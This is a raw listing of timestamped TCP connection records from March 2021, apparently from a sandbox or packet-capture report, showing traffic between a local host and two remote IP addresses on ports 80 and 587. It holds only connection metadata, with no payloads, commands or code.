Mar 3, 2021 07:33:32.089262009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089284897 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089308023 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089322090 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089330912 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089354992 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089355946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089379072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089392900 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089423895 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089447975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089473009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089493036 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.089495897 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.089523077 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090039015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090096951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090123892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090150118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090163946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090173960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090193033 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090198040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090221882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090221882 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090243101 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090265989 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090266943 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090290070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090321064 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090334892 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090344906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090368032 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090369940 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090389967 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090404034 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090413094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090435028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090466976 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.090950012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.090979099 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091001987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091025114 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091042995 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091048956 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091074944 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091078997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091099024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091101885 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091120005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091137886 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091142893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091166973 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091192007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091192961 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091218948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091243982 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091264963 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091272116 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091298103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091298103 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091325045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091335058 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091850996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091881990 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091905117 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091913939 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091924906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091947079 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091954947 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091968060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.091985941 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.091989994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092010021 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092026949 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.092036963 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092061043 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092083931 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092084885 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.092106104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092116117 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.092128038 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092149973 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092170000 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.092171907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092194080 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.092211008 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.093440056 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.093521118 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.093559980 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.093655109 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.093723059 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.093883038 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.093939066 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.094007969 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.094099998 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.094301939 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.094374895 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.094433069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.094619036 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.094778061 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.094847918 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.094913006 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.095098019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.095168114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.095254898 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.095300913 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.095452070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.095541954 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.095598936 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.095804930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097734928 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097765923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097793102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097817898 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097827911 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.097840071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097863913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097865105 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.097882032 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.097886086 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097909927 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097934008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097955942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097959995 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.097981930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.097991943 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.098007917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098031044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098054886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098064899 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.098069906 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.098078966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098102093 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098119974 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.098123074 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098146915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098165989 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.098172903 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098196030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098218918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098242044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098242044 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.098264933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098273039 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.098285913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098309040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.098309040 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.098332882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099756956 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.099786997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099807024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099822044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099838018 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099853992 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099869013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099880934 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.099888086 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099896908 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.099905968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099920988 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099924088 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.099936962 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099951982 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099967003 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.099976063 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.099982977 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100004911 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100007057 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100019932 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100023985 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100037098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100053072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100064993 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100071907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100090027 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100095987 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100106001 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100121975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100136995 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100142956 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100152969 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100167990 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100176096 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100183964 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100195885 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100203037 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100220919 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100228071 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100235939 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100251913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100260973 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.100267887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100282907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.100316048 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.101190090 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.101196051 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.101212025 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.101231098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.101252079 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.101274967 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.101289034 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.101298094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.101321936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.102721930 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.102726936 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127270937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127312899 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127336979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127358913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127382040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127389908 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127403975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127424955 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127440929 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127449989 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127466917 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127473116 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127494097 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127513885 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127516985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127537012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127558947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127562046 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127580881 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127602100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127620935 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127625942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127649069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127669096 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127715111 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127715111 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127737045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127763033 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127783060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127784967 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127804995 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127850056 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127851009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127872944 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127895117 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127906084 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127918959 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127933025 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.127942085 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127964020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127988100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.127989054 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128012896 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128036022 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128053904 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128061056 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128077030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128087997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128099918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128118038 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128122091 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128144026 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128165960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128168106 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128190994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128215075 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128232956 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128237009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128258944 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128261089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128283024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128300905 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128305912 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128329992 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128349066 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128353119 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128379107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128391027 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128402948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128423929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128442049 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128712893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128756046 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.128843069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.128974915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129091024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129115105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129137039 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.129159927 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.129219055 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129352093 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129379988 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129426956 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129450083 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129457951 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.129472971 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129492044 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.129498005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129519939 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.129523993 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129545927 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129565954 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.129570007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129594088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.129631042 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.130636930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.130666018 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.130688906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.130712032 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.130733967 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.130738020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:32.130754948 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:32.130776882 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:36.673751116 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:36.673800945 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:39.911243916 CET	49788	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:40.064665079 CET	587	49788	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:40.064784050 CET	49788	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:40.219635010 CET	587	49788	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:40.220118999 CET	49788	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:40.372986078 CET	587	49788	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:40.375245094 CET	49788	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:40.458312035 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.528537035 CET	587	49788	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:40.529222012 CET	49788	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:40.558033943 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.606050014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.690542936 CET	587	49788	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:40.691703081 CET	49788	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:40.762228012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762269974 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762295961 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762317896 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.762320042 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762346983 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762373924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762376070 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.762398958 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762423038 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762430906 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.762449980 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762474060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:40.762494087 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:40.762499094 CET	80	49778	172.67.179.188	192.168.2.4
